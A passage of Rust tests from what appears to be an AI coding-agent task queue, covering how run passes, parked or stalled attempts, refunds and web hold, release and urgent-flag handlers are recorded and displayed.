17769        t.source = Source::Agent {
17770            run: "a b/c".to_owned(),
17771            node: crate::queue::CHAT_NODE.to_owned(),
17772        };
17773        t.issue = Some(crate::queue::IssueRef {
17774            number: 3,
17775            repo: "o/r".into(),
17776        });
17777        let view = TaskView::from(t.clone());
17778        assert!(view.source_label.contains("issue #3"));
17779        assert_eq!(view.source_link.unwrap().href, "#/chat/a%20b%2Fc");
17780        let f = flow_for(&t, &[]);
17781        assert_eq!(f.nodes[0].key, "chat");
17782        assert_eq!(f.nodes[0].kind, "chat");
17783        assert_eq!(
17784            f.nodes[0].label,
17785            format!("Chat {}", crate::queue::short("a b/c"))
17786        );
17787        assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/a%20b%2Fc"));
17788        assert_eq!(f.nodes[1].key, "start");
17789        assert_eq!(
17790            f.edges[0],
17791            FlowEdge {
17792                from: "chat".to_owned(),
17793                to: "start".to_owned(),
17794                label: "queued from chat".to_owned(),
17795                attempt: AttemptCost::None,
17796            }
17797        );
17798    }
17799
17800    #[test]
17801    fn flow_has_no_chat_box_for_other_sources() {
17802        for source in [
17803            Source::Human,
17804            Source::Issue {
17805                number: 3,
17806                repo: "o/r".to_owned(),
17807            },
17808            Source::Agent {
17809                run: "20260904-014455-ab12".to_owned(),
17810                node: "implement".to_owned(),
17811            },
17812        ] {
17813            let mut t = flow_task(&[]);
17814            t.source = source;
17815            let f = flow_for(&t, &[]);
17816            assert_eq!(f.nodes[0].key, "start");
17817            assert!(f.nodes.iter().all(|n| n.kind != "chat"));
17818            assert!(f.edges.iter().all(|e| e.from != "chat"));
17819        }
17820    }
17821
17822    const FA: &str = "20260902-140501-aaaa";
17823    const FB: &str = "20260902-140502-bbbb";
17824
17825    #[test]
17826    fn flow_follows_blocked_retry_merged_to_done() {
17827        let mut t = flow_task(&[FA, FB]);
17828        t.status = TaskStatus::Done;
17829        let f = flow_for(
17830            &t,
17831            &[
17832                (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
17833                (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
17834            ],
17835        );
17836        let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
17837        assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
17838        assert_eq!(f.edges.len(), 3);
17839        assert_eq!(f.edges[0].label, "claimed");
17840        assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
17841        assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
17842        assert_eq!(f.edges[2].label, "merged \u{2192} done");
17843        assert_eq!(
17844            f.nodes[2].href.as_deref(),
17845            Some("#/runs/20260902-140502-bbbb")
17846        );
17847        assert!(f.nodes[2].decided);
17848    }
17849
17850    #[test]
17851    fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
17852        let quota = || {
17853            flow_run(RunStatus::Stalled, |s| {
17854                s.quota.push(crate::run::QuotaLoss {
17855                    cause: crate::agent::QuotaCause::UsageLimit,
17856                    agent: String::new(),
17857                    seat: "judge-1".to_owned(),
17858                    node: "judge".to_owned(),
17859                    at: Timestamp::now(),
17860                    reset: None,
17861                })
17862            })
17863        };
17864        let mut t = flow_task(&[FA, FA]);
17865        t.status = TaskStatus::Queued;
17866        let f = flow_for(&t, &[(FA, Some(quota()))]);
17867        assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
17868        assert_eq!(f.nodes[1].note, Some("interrupted"));
17869        assert_eq!(
17870            f.nodes[1].status, None,
17871            "no outcome copied onto an earlier pass"
17872        );
17873        assert_eq!(
17874            f.edges[1].attempt,
17875            AttemptCost::Unknown,
17876            "a resume does not prove the earlier pass was refunded"
17877        );
17878        assert!(f.edges[1].label.contains("resume the same run"));
17879        assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
17880        assert_eq!(
17881            f.edges[2].label,
17882            "stalled after a resume, refund unknown \u{2192} queued"
17883        );
17884        assert!(!f.nodes[2].decided, "a stall is not a decision");
17885        assert_eq!(f.nodes[2].note, Some("no verdict"));
17886    }
17887
17888    #[test]
17889    fn flow_single_pass_quota_stall_is_refunded() {
17890        let t = flow_task(&[FA]);
17891        let f = flow_for(
17892            &t,
17893            &[(
17894                FA,
17895                Some(flow_run(RunStatus::Stalled, |s| {
17896                    s.quota.push(crate::run::QuotaLoss {
17897                        cause: crate::agent::QuotaCause::UsageLimit,
17898                        agent: String::new(),
17899                        seat: "judge-1".to_owned(),
17900                        node: "judge".to_owned(),
17901                        at: Timestamp::now(),
17902                        reset: None,
17903                    })
17904                })),
17905            )],
17906        );
17907        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
17908    }
17909
17910    #[test]
17911    fn flow_parked_refunds_and_stall_without_quota_spends() {
17912        let mut t = flow_task(&[FA]);
17913        t.status = TaskStatus::Queued;
17914        let f = flow_for(
17915            &t,
17916            &[(
17917                FA,
17918                Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
17919            )],
17920        );
17921        assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
17922        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
17923        let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
17924        assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
17925        assert!(!f.nodes[1].decided);
17926    }
17927
17928    #[test]
17929    fn flow_keeps_an_unreadable_run_as_its_own_node() {
17930        let t = flow_task(&[FA, FB]);
17931        let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
17932        assert_eq!(f.nodes[1].note, Some("unreadable"));
17933        assert!(!f.nodes[1].readable);
17934        assert_eq!(f.nodes[1].run_kind, Some("unknown"));
17935        assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
17936    }
17937
17938    #[test]
17939    fn flow_names_the_branch_of_a_review_only_run() {
17940        let t = flow_task(&[FA]);
17941        let f = flow_for(
17942            &t,
17943            &[(
17944                FA,
17945                Some(flow_run(RunStatus::Merged, |s| {
17946                    s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
17947                })),
17948            )],
17949        );
17950        assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
17951        assert_eq!(
17952            f.nodes[1].detail.as_deref(),
17953            Some("review-only run of branch magi/x/A")
17954        );
17955    }
17956
17957    #[test]
17958    fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
17959        let mut t = flow_task(&[FA]);
17960        t.status = TaskStatus::Held;
17961        let pr = crate::run::PrRecord {
17962            url: "https://example.test/pr/1".to_owned(),
17963            number: 1,
17964            state: "open".to_owned(),
17965            checks: "green".to_owned(),
17966            round: 0,
17967            rounds: 3,
17968            red_at_merge: Vec::new(),
17969        };
17970        let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
17971        let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
17972        assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
17973        t.status = TaskStatus::Done;
17974        let f = flow_for(&t, &[(FA, Some(blocked))]);
17975        assert_eq!(f.edges[1].label, "closed by hand: task is done");
17976    }
17977
17978    #[test]
17979    fn flow_with_no_runs_goes_from_queued_to_queued() {
17980        let t = flow_task(&[]);
17981        let f = flow_for(&t, &[]);
17982        assert_eq!(f.nodes.len(), 2);
17983        assert_eq!(f.edges.len(), 1);
17984        assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
17985        assert_eq!(f.edges[0].attempt, AttemptCost::None);
17986    }
17987
17988    /// A run parked mid-flight keeps a non-terminal status; the page must
17989    /// still say why it stopped and that the attempt came back.
17990    #[test]
17991    fn a_parked_non_terminal_run_is_explained_as_parked() {
17992        let mut s = RunState::new(
17993            PathBuf::from("/repo/magi"),
17994            "main".to_owned(),
17995            "0123456789abcdef".to_owned(),
17996            "Do it".to_owned(),
17997            Config::default(),
17998        );
17999        s.status = RunStatus::Implementing;
18000        s.parked = true;
18001        let task = Task::new(
18002            "t".to_owned(),
18003            "Do it".to_owned(),
18004            PathBuf::from("/repo/magi"),
18005            Source::Human,
18006        );
18007        let v = task_run_view(
18008            "20260902-140501-aaaa",
18009            Some(&s),
18010            RunSlot {
18011                n: 1,
18012                resumed: false,
18013                resumed_later: None,
18014                prior: None,
18015                last: true,
18016                ..RunSlot::default()
18017            },
18018            &task,
18019        );
18020        assert!(v.outcome.contains("Parked"), "{}", v.outcome);
18021    }
18022
18023    fn earlier_pass_view(edit: impl FnOnce(&mut RunState)) -> TaskRunView {
18024        let mut s = flow_run(RunStatus::Implementing, edit);
18025        s.parked = false;
18026        let task = flow_task(&["20260902-140501-aaaa", "20260902-140501-aaaa"]);
18027        task_run_view(
18028            "20260902-140501-aaaa",
18029            Some(&s),
18030            RunSlot {
18031                n: 1,
18032                resumed: false,
18033                resumed_later: Some(2),
18034                prior: None,
18035                last: false,
18036                ..RunSlot::default()
18037            },
18038            &task,
18039        )
18040    }
18041
18042    #[test]
18043    fn an_earlier_pass_with_no_recorded_cause_is_unknown_not_parked() {
18044        let v = earlier_pass_view(|_| {});
18045        assert!(v.outcome.contains("not recorded"), "{}", v.outcome);
18046        assert!(v.outcome.contains("unknown"), "{}", v.outcome);
18047        assert!(!v.outcome.contains("parked it"), "{}", v.outcome);
18048        assert!(!v.outcome.contains("handed back."), "{}", v.outcome);
18049        assert_eq!(v.exit, RunExit::Interrupted);
18050        assert_eq!(v.attempt, AttemptCost::Unknown);
18051    }
18052
18053    #[test]
18054    fn an_earlier_pass_with_a_recorded_rate_limit_does_not_claim_it_as_the_cause() {
18055        let v = earlier_pass_view(|s| {
18056            s.quota.push(crate::run::QuotaLoss {
18057                cause: crate::agent::QuotaCause::UsageLimit,
18058                agent: String::new(),
18059                seat: "judge-1".to_owned(),
18060                node: "judge".to_owned(),
18061                at: Timestamp::now(),
18062                reset: None,
18063            });
18064        });
18065        assert!(v.outcome.contains("may or may not"), "{}", v.outcome);
18066        assert!(v.outcome.contains("unknown"), "{}", v.outcome);
18067        assert_eq!(v.attempt, AttemptCost::Unknown);
18068    }
18069
18070    #[test]
18071    fn the_current_pass_states_its_recorded_cause_and_cost() {
18072        let slot = || RunSlot {
18073            n: 1,
18074            resumed: false,
18075            resumed_later: None,
18076            prior: None,
18077            last: true,
18078            ..RunSlot::default()
18079        };
18080        let task = flow_task(&["20260902-140501-aaaa"]);
18081        let parked = flow_run(RunStatus::Implementing, |s| s.parked = true);
18082        let v = task_run_view("20260902-140501-aaaa", Some(&parked), slot(), &task);
18083        assert_eq!(
18084            (v.exit, v.attempt),
18085            (RunExit::Parked, AttemptCost::Refunded)
18086        );
18087        let spent = flow_run(RunStatus::Blocked, |_| {});
18088        let v = task_run_view("20260902-140501-aaaa", Some(&spent), slot(), &task);
18089        assert_eq!(v.attempt, AttemptCost::Spent);
18090        assert!(v.outcome.contains("spent an attempt"), "{}", v.outcome);
18091    }
18092
18093    fn recorded_pass(index: usize, end: Option<crate::run::PassEnd>) -> crate::run::RunPass {
18094        crate::run::RunPass {
18095            index,
18096            started_at: Timestamp::now(),
18097            resumed: index > 0,
18098            ended_at: end.as_ref().map(|_| Timestamp::now()),
18099            end,
18100            task_entry: true,
18101        }
18102    }
18103
18104    fn parked(cause: crate::run::ParkCause) -> Option<crate::run::PassEnd> {
18105        Some(crate::run::PassEnd::Parked { cause })
18106    }
18107
18108    fn upgrade_cause() -> crate::run::ParkCause {
18109        crate::run::ParkCause::Upgrade {
18110            from: "0.121.0".to_owned(),
18111            to: Some("0.121.1".to_owned()),
18112        }
18113    }
18114
18115    fn settled_pass(
18116        run: &str,
18117        index: usize,
18118        cost: crate::queue::PassCost,
18119    ) -> crate::queue::TaskPass {
18120        crate::queue::TaskPass {
18121            run: run.to_owned(),
18122            pass_index: index,
18123            started_at: None,
18124            cost,
18125            attempts_after: 1,
18126            settled_at: Timestamp::now(),
18127            parked: None,
18128        }
18129    }
18130
18131    const RUN_X: &str = "20261011-223708-4334";
18132
18133    #[test]
18134    fn an_upgrade_pause_and_its_resume_are_two_passes_of_one_run_and_one_attempt() {
18135        use crate::queue::PassCost;
18136        let run = flow_run(RunStatus::Implementing, |s| {
18137            s.passes = vec![
18138                recorded_pass(0, parked(upgrade_cause())),
18139                recorded_pass(1, None),
18140            ];
18141        });
18142        let mut task = flow_task(&[RUN_X, RUN_X]);
18143        task.attempts = 1;
18144        task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
18145        let h = task_history(&task, |_| Some(run.clone()));
18146        assert_eq!(h.len(), 2);
18147        assert_eq!(h[0].kind, "competition");
18148        assert_eq!(h[1].kind, "resume");
18149        assert_eq!(
18150            (h[0].exit, h[0].attempt),
18151            (RunExit::Parked, AttemptCost::Refunded)
18152        );
18153        assert!(
18154            h[0].outcome.contains("upgrade 0.121.0 \u{2192} 0.121.1"),
18155            "{}",
18156            h[0].outcome
18157        );
18158        assert!(h[0].outcome.contains("handed back"), "{}", h[0].outcome);
18159        assert!(
18160            h[0].outcome.contains("pass #2 resumed the same run"),
18161            "{}",
18162            h[0].outcome
18163        );
18164        assert!(
18165            h[0].outcome.contains("pass 1 of 2 over run"),
18166            "{}",
18167            h[0].outcome
18168        );
18169        assert!(!h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
18170        assert_eq!(
18171            h[0].exit_label,
18172            "parked for upgrade 0.121.0 \u{2192} 0.121.1, attempt refunded"
18173        );
18174        let f = task_flow(&task, &h, 2, None);
18175        // Two passes of one run, one of two attempts consumed.
18176        assert_eq!((f.passes, f.runs, f.attempts, f.max_attempts), (2, 1, 1, 2));
18177        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
18178        assert!(
18179            f.edges[1].label.contains("upgrade 0.121.0"),
18180            "{}",
18181            f.edges[1].label
18182        );
18183        assert!(
18184            f.edges[1].label.contains("resume the same run"),
18185            "{}",
18186            f.edges[1].label
18187        );
18188        assert_eq!(f.nodes[1].note, Some("parked"));
18189    }
18190
18191    #[test]
18192    fn distinct_run_ids_render_all_recorded_passes_in_time_order() {
18193        let mut a = flow_run(RunStatus::Implementing, |s| {
18194            s.passes = vec![
18195                recorded_pass(0, parked(upgrade_cause())),
18196                recorded_pass(1, None),
18197            ];
18198        });
18199        let mut b = flow_run(RunStatus::Failed, |s| {
18200            s.passes = vec![recorded_pass(0, None)];
18201        });
18202        a.passes[0].started_at = "2026-10-10T00:00:00Z".parse().unwrap();
18203        b.passes[0].started_at = "2026-10-10T01:00:00Z".parse().unwrap();
18204        a.passes[1].started_at = "2026-10-10T02:00:00Z".parse().unwrap();
18205        let mut task = flow_task(&[]);
18206        task.start("a".into());
18207        task.start("b".into());
18208        task.start("a".into());
18209        assert_eq!(task.runs, ["b", "a"]);
18210        task.passes = vec![settled_pass("a", 0, crate::queue::PassCost::Refunded)];
18211        let h = task_history(&task, |id| {
18212            Some(if id == "a" { a.clone() } else { b.clone() })
18213        });
18214        assert_eq!(
18215            h.iter().map(|v| v.id.as_str()).collect::<Vec<_>>(),
18216            ["a", "b", "a"]
18217        );
18218        assert_eq!(h[0].attempt, AttemptCost::Refunded);
18219        assert!(h[0].outcome.contains("upgrade"));
18220        assert_eq!(h[2].kind, "resume");
18221        assert!(h[2].pass.is_some());
18222        // The old repeated-id format must show the same recorded passes.
18223        task.runs = vec!["a".into(), "b".into(), "a".into()];
18224        let old = task_history(&task, |id| {
18225            Some(if id == "a" { a.clone() } else { b.clone() })
18226        });
18227        assert_eq!(
18228            old.iter()
18229                .map(|v| (&v.id, &v.kind, v.attempt))
18230                .collect::<Vec<_>>(),
18231            h.iter()
18232                .map(|v| (&v.id, &v.kind, v.attempt))
18233                .collect::<Vec<_>>()
18234        );
18235    }
18236
18237    #[test]
18238    fn an_upgrade_whose_target_was_not_known_says_so() {
18239        let run = flow_run(RunStatus::Implementing, |s| {
18240            s.passes = vec![
18241                recorded_pass(
18242                    0,
18243                    parked(crate::run::ParkCause::Upgrade {
18244                        from: "0.121.0".to_owned(),
18245                        to: None,
18246                    }),
18247                ),
18248                recorded_pass(1, None),
18249            ];
18250        });
18251        let task = flow_task(&[RUN_X, RUN_X]);
18252        let h = task_history(&task, |_| Some(run.clone()));
18253        assert!(
18254            h[0].outcome.contains("upgrade from 0.121.0"),
18255            "{}",
18256            h[0].outcome
18257        );
18258        // No settle record: the refund is not claimed.
18259        assert_eq!(h[0].attempt, AttemptCost::Unknown);
18260    }
18261
18262    #[test]
18263    fn each_pass_keeps_its_own_cause_across_several_resumes() {
18264        use crate::queue::PassCost;
18265        use crate::run::ParkCause;
18266        let run = flow_run(RunStatus::Implementing, |s| {
18267            s.passes = vec![
18268                recorded_pass(0, parked(upgrade_cause())),
18269                recorded_pass(
18270                    1,
18271                    parked(ParkCause::Interrupt {
18272                        reason: "task a1b2 asked to run first".to_owned(),
18273                    }),
18274                ),
18275                recorded_pass(2, parked(ParkCause::Operator)),
18276                recorded_pass(3, None),
18277            ];
18278        });
18279        let mut task = flow_task(&[RUN_X, RUN_X, RUN_X, RUN_X]);
18280        task.attempts = 1;
18281        task.passes = (0..3)
18282            .map(|i| settled_pass(RUN_X, i, PassCost::Refunded))
18283            .collect();
18284        let h = task_history(&task, |_| Some(run.clone()));
18285        assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
18286        assert!(
18287            h[1].outcome.contains("task a1b2 asked to run first"),
18288            "{}",
18289            h[1].outcome
18290        );
18291        assert!(!h[1].outcome.contains("upgrade"), "{}", h[1].outcome);
18292        assert!(
18293            h[2].outcome.contains("operator asked the loop to park"),
18294            "{}",
18295            h[2].outcome
18296        );
18297        assert!(h[3].outcome.is_empty() || !h[3].outcome.contains("upgrade"));
18298        let f = task_flow(&task, &h, 2, None);
18299        assert_eq!((f.passes, f.runs, f.attempts), (4, 1, 1));
18300    }
18301
18302    #[test]
18303    fn a_pass_the_next_one_found_open_is_unrecorded_never_an_upgrade() {
18304        let run = flow_run(RunStatus::Implementing, |s| {
18305            s.passes = vec![
18306                recorded_pass(0, Some(crate::run::PassEnd::Unrecorded)),
18307                recorded_pass(1, None),
18308            ];
18309        });
18310        let task = flow_task(&[RUN_X, RUN_X]);
18311        let h = task_history(&task, |_| Some(run.clone()));
18312        assert_eq!(h[0].exit, RunExit::Interrupted);
18313        assert_eq!(h[0].attempt, AttemptCost::Unknown);
18314        assert!(
18315            h[0].outcome.contains("without recording why"),
18316            "{}",
18317            h[0].outcome
18318        );
18319        assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
18320        assert_eq!(h[0].pass.as_ref().map(|p| p.end), Some("unrecorded"));
18321    }
18322
18323    #[test]
18324    fn a_record_from_before_passes_stays_unknown_even_next_to_recorded_ones() {
18325        use crate::queue::PassCost;
18326        // Three entries, but the run only began keeping passes at the last
18327        // two: the first is legacy and must not be given a cause.
18328        let run = flow_run(RunStatus::Implementing, |s| {
18329            s.passes = vec![
18330                recorded_pass(0, parked(upgrade_cause())),
18331                recorded_pass(1, None),
18332            ];
18333        });
18334        let mut task = flow_task(&[RUN_X, RUN_X, RUN_X]);
18335        task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
18336        let h = task_history(&task, |_| Some(run.clone()));
18337        assert!(h[0].pass.is_none());
18338        assert_eq!(h[0].exit, RunExit::Interrupted);
18339        assert_eq!(h[0].attempt, AttemptCost::Unknown);
18340        assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
18341        assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
18342        assert!(h[1].outcome.contains("upgrade 0.121.0"), "{}", h[1].outcome);
18343        // A run with no passes at all is entirely unknown.
18344        let legacy = flow_run(RunStatus::Implementing, |_| {});
18345        let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(legacy.clone()));
18346        assert!(h.iter().all(|v| v.pass.is_none()));
18347        assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
18348    }
18349
18350    #[test]
18351    fn a_resume_outside_the_task_loop_does_not_shift_the_recorded_passes() {
18352        use crate::queue::PassCost;
18353        // Pass 1 is a web-button resume: a pass of the run, no entry of the
18354        // task. The two entries are passes 0 and 2.
18355        let mut web = recorded_pass(1, parked(crate::run::ParkCause::Operator));
18356        web.task_entry = false;
18357        let run = flow_run(RunStatus::Implementing, |s| {
18358            s.passes = vec![
18359                recorded_pass(0, parked(upgrade_cause())),
18360                web.clone(),
18361                recorded_pass(2, None),
18362            ];
18363        });
18364        let mut task = flow_task(&[RUN_X, RUN_X]);
18365        task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
18366        let h = task_history(&task, |_| Some(run.clone()));
18367        assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
18368        assert!(!h[1].outcome.contains("not recorded"), "{}", h[1].outcome);
18369
18370        // Legacy first entry, then a web resume that parked for an upgrade,
18371        // then the daemon's pass: the legacy entry must stay unknown.
18372        let mut web0 = recorded_pass(0, parked(upgrade_cause()));
18373        web0.task_entry = false;
18374        let run = flow_run(RunStatus::Implementing, |s| {
18375            s.passes = vec![web0.clone(), recorded_pass(1, None)];
18376        });
18377        let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(run.clone()));
18378        assert!(h[0].pass.is_none());
18379        assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
18380        assert!(h[1].pass.is_some());
18381    }
18382
18383    #[tokio::test]
18384    async fn explicit_resumption_web_handler_matches_cli_without_a_listener() {
18385        let dir = tempfile::tempdir().unwrap();
18386        let queue = Queue::at(dir.path().join("queue"));
18387        let ui = Arc::new(Ui::new(
18388            queue.clone(),
18389            Questions::at(dir.path().join("questions")),
18390            Talks::at(dir.path().join("talks")),
18391            dir.path().join("runs"),
18392            dir.path().to_path_buf(),
18393            dir.path().to_path_buf(),
18394        ));
18395        let mut t = Task::new(
18396            "recover".into(),
18397            "Inspect".into(),
18398            PathBuf::from("."),
18399            Source::Human,
18400        );
18401        t.record_answer("Inspect then resume?".into(), "Inspect then wait".into());
18402        t.start("run-A".into());
18403        t.release_operator("choice", Some("resume-question"));
18404        t.resume_override = Some(crate::queue::OperatorResume {
18405            question_id: "resume-question".into(),
18406            at: jiff::Timestamp::now(),
18407            conductor_rehold: None,
18408            forced: true,
18409            pinned_run: Some("run-A".into()),
18410        });
18411        t.hold_machine(Some("inspection pending".into()));
18412        t.edit("recover".into(), "Reuse approved PR head".into())
18413            .unwrap();
18414        queue.put(&mut t).unwrap();
18415        let mut cli = t.clone();
18416        cli.release_operator("cli", None);
18417        let Json(reply) = queue_release(State(ui), Path(t.id.clone())).await.unwrap();
18418        let reloaded = queue.get(&t.id).unwrap();
18419        assert_eq!(reply.task.status, TaskStatus::Queued);
18420        assert!(reloaded.resume_override.is_none());
18421        assert_eq!(reloaded.answers, t.answers);
18422        let mut web = reloaded.resumption.unwrap();
18423        let cli = cli.resumption.unwrap();
18424        assert_eq!(web.source, "web");
18425        web.source = cli.source.clone();
18426        web.at = cli.at;
18427        assert_eq!(web, cli);
18428    }
18429
18430    #[tokio::test]
18431    async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
18432        let f = Fixture::start().await;
18433        let queue = f.queue();
18434        let mut task = Task::new(
18435            "spent".to_owned(),
18436            "Try again".to_owned(),
18437            PathBuf::from("/repo/magi"),
18438            Source::Human,
18439        );
18440        task.start("20260902-140502-bbbb".to_owned());
18441        task.fail("agent gave up", 9);
18442        queue.put(&mut task).expect("file the task");
18443
18444        let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
18445        assert_eq!(held.status, 200);
18446        assert_eq!(held.json()["status_str"], "held");
18447
18448        let released = f
18449            .post(&format!("/api/queue/{}/release", task.id), None)
18450            .await;
18451        assert_eq!(released.status, 200);
18452        assert_eq!(released.json()["status_str"], "queued");
18453        assert_eq!(released.json()["resumption"]["source"], "web");
18454        assert_eq!(released.json()["resumption"]["instruction"], "Try again");
18455        let mut cli = task.clone();
18456        cli.release_operator("cli", None);
18457        let web = queue.get(&task.id).unwrap().resumption.unwrap();
18458        let cli = cli.resumption.unwrap();
18459        assert_eq!(web.instruction, cli.instruction);
18460        assert_eq!(web.answers_through, cli.answers_through);
18461        assert_eq!(web.runs_through, cli.runs_through);
18462        assert_eq!(web.cleared_reason, cli.cleared_reason);
18463        assert_eq!(
18464            released.json()["attempts"],
18465            0,
18466            "release is a real second chance, not an instant re-hold"
18467        );
18468        assert_eq!(
18469            queue.get(&task.id).expect("reload").status,
18470            TaskStatus::Queued,
18471            "the change is on disk, not only in the reply"
18472        );
18473        assert!(
18474            !f.home
18475                .path()
18476                .join("queue")
18477                .join(format!("{}.lock", task.id))
18478                .exists(),
18479            "the claim the mutation took is released again"
18480        );
18481    }
18482
18483    #[tokio::test]
18484    async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
18485        let f = Fixture::start().await;
18486        let queue = f.queue();
18487        let mut task = Task::new(
18488            "busy".to_owned(),
18489            "Running right now".to_owned(),
18490            PathBuf::from("/repo/magi"),
18491            Source::Human,
18492        );
18493        queue.put(&mut task).expect("file the task");
18494        let _claim = queue.claim(&task.id).expect("stand in for the daemon");
18495
18496        let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
18497
18498        assert_eq!(res.status, 409);
18499        assert_eq!(
18500            queue.get(&task.id).expect("reload").status,
18501            TaskStatus::Queued,
18502            "the refused hold changed nothing"
18503        );
18504    }
18505
18506    #[tokio::test]
18507    async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
18508        let f = Fixture::start().await;
18509        let queue = f.queue();
18510        let mut task = Task::new(
18511            "waiting on the migration".to_owned(),
18512            "Do the thing".to_owned(),
18513            PathBuf::from("/repo/magi"),
18514            Source::Human,
18515        );
18516        queue.put(&mut task).expect("file the task");
18517
18518        let held = f
18519            .post(
18520                &format!("/api/queue/{}/hold", task.id),
18521                Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
18522            )
18523            .await;
18524        assert_eq!(held.status, 200, "{}", held.body);
18525        assert_eq!(held.json()["status_str"], "held");
18526        assert_eq!(
18527            held.json()["hold_reason"],
18528            "waiting for 20260101-000000-aaaa to land"
18529        );
18530
18531        let listed = f.get("/api/queue").await.json();
18532        assert_eq!(
18533            listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
18534            "the card reads the reason off the same list route"
18535        );
18536
18537        // A hold with no body at all must keep working - most holds have no
18538        // reason to give.
18539        let mut plain = Task::new(
18540            "no reason given".to_owned(),
18541            "Do another thing".to_owned(),
18542            PathBuf::from("/repo/magi"),
18543            Source::Human,
18544        );
18545        queue.put(&mut plain).expect("file the task");
18546        let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
18547        assert_eq!(held_plain.status, 200, "{}", held_plain.body);
18548        assert!(held_plain.json()["hold_reason"].is_null());
18549
18550        let released = f
18551            .post(&format!("/api/queue/{}/release", task.id), None)
18552            .await;
18553        assert_eq!(released.status, 200);
18554        assert!(
18555            released.json()["hold_reason"].is_null(),
18556            "a release must clear the reason so the next hold does not inherit it"
18557        );
18558    }
18559
18560    #[test]
18561    fn urgent_request_requires_a_boolean_and_rejects_unknown_fields() {
18562        for urgent in [true, false] {
18563            let body: UrgentBody =
18564                serde_json::from_value(serde_json::json!({ "urgent": urgent })).unwrap();
18565            assert_eq!(body.urgent, urgent);
18566        }
18567        for input in [
18568            r#"{}"#,
18569            r#"{"urgent":null}"#,
18570            r#"{"urgent":"true"}"#,
18571            r#"{"urgent":1}"#,
18572            r#"{"urgent":true,"extra":false}"#,
18573        ] {
18574            assert!(
18575                serde_json::from_str::<UrgentBody>(input).is_err(),
18576                "{input}"
18577            );
18578        }
18579    }
18580
18581    #[tokio::test]
18582    async fn urgent_handler_saves_and_rejects_claims_without_a_server() {
18583        let home = TempDir::new().unwrap();
18584        let q = Queue::at(home.path().join("queue"));
18585        let ui = Arc::new(Ui::new(
18586            q.clone(),
18587            Questions::at(home.path().join("questions")),
18588            Talks::at(home.path().join("talks")),
18589            home.path().join("runs"),
18590            home.path().into(),
18591            home.path().into(),
18592        ));
18593        let mut task = Task::new(
18594            "urgent handler".into(),
18595            "keep".into(),
18596            home.path().into(),
18597            Source::Human,
18598        );
18599        for status in [TaskStatus::Queued, TaskStatus::Held] {
18600            task.status = status;
18601            q.put(&mut task).unwrap();
18602            for urgent in [true, true, false, false] {
18603                let saved = queue_urgent(
18604                    State(Arc::clone(&ui)),
18605                    Path(task.short().into()),
18606                    Ok(Json(UrgentBody { urgent })),
18607                )
18608                .await
18609                .unwrap();
18610                assert_eq!(serde_json::to_value(saved.0).unwrap()["urgent"], urgent);
18611                assert_eq!(q.get(&task.id).unwrap().urgent, urgent);
18612            }
18613        }
18614        task.status = TaskStatus::Queued;
18615        q.put(&mut task).unwrap();
18616        let claim = q.claim(&task.id).unwrap();
18617        let error = queue_urgent(
18618            State(Arc::clone(&ui)),
18619            Path(task.id.clone()),
18620            Ok(Json(UrgentBody { urgent: true })),
18621        )
18622        .await
18623        .unwrap_err();
18624        assert_eq!(error.status, StatusCode::CONFLICT);
18625        assert!(error.message.contains("released"));
18626        drop(claim);
18627        for status in [
18628            TaskStatus::Running,
18629            TaskStatus::Done,
18630            TaskStatus::Failed,
18631            TaskStatus::Blocked,
18632            TaskStatus::Parked,
18633        ] {
18634            task.status = status;
18635            q.put(&mut task).unwrap();
18636            let error = queue_urgent(
18637                State(Arc::clone(&ui)),
18638                Path(task.id.clone()),
18639                Ok(Json(UrgentBody { urgent: false })),
18640            )
18641            .await
18642            .unwrap_err();
18643            assert_eq!(error.status, StatusCode::BAD_REQUEST);
18644            assert!(error.message.contains(status.as_str()));
18645        }
18646    }
18647
18648    #[tokio::test]
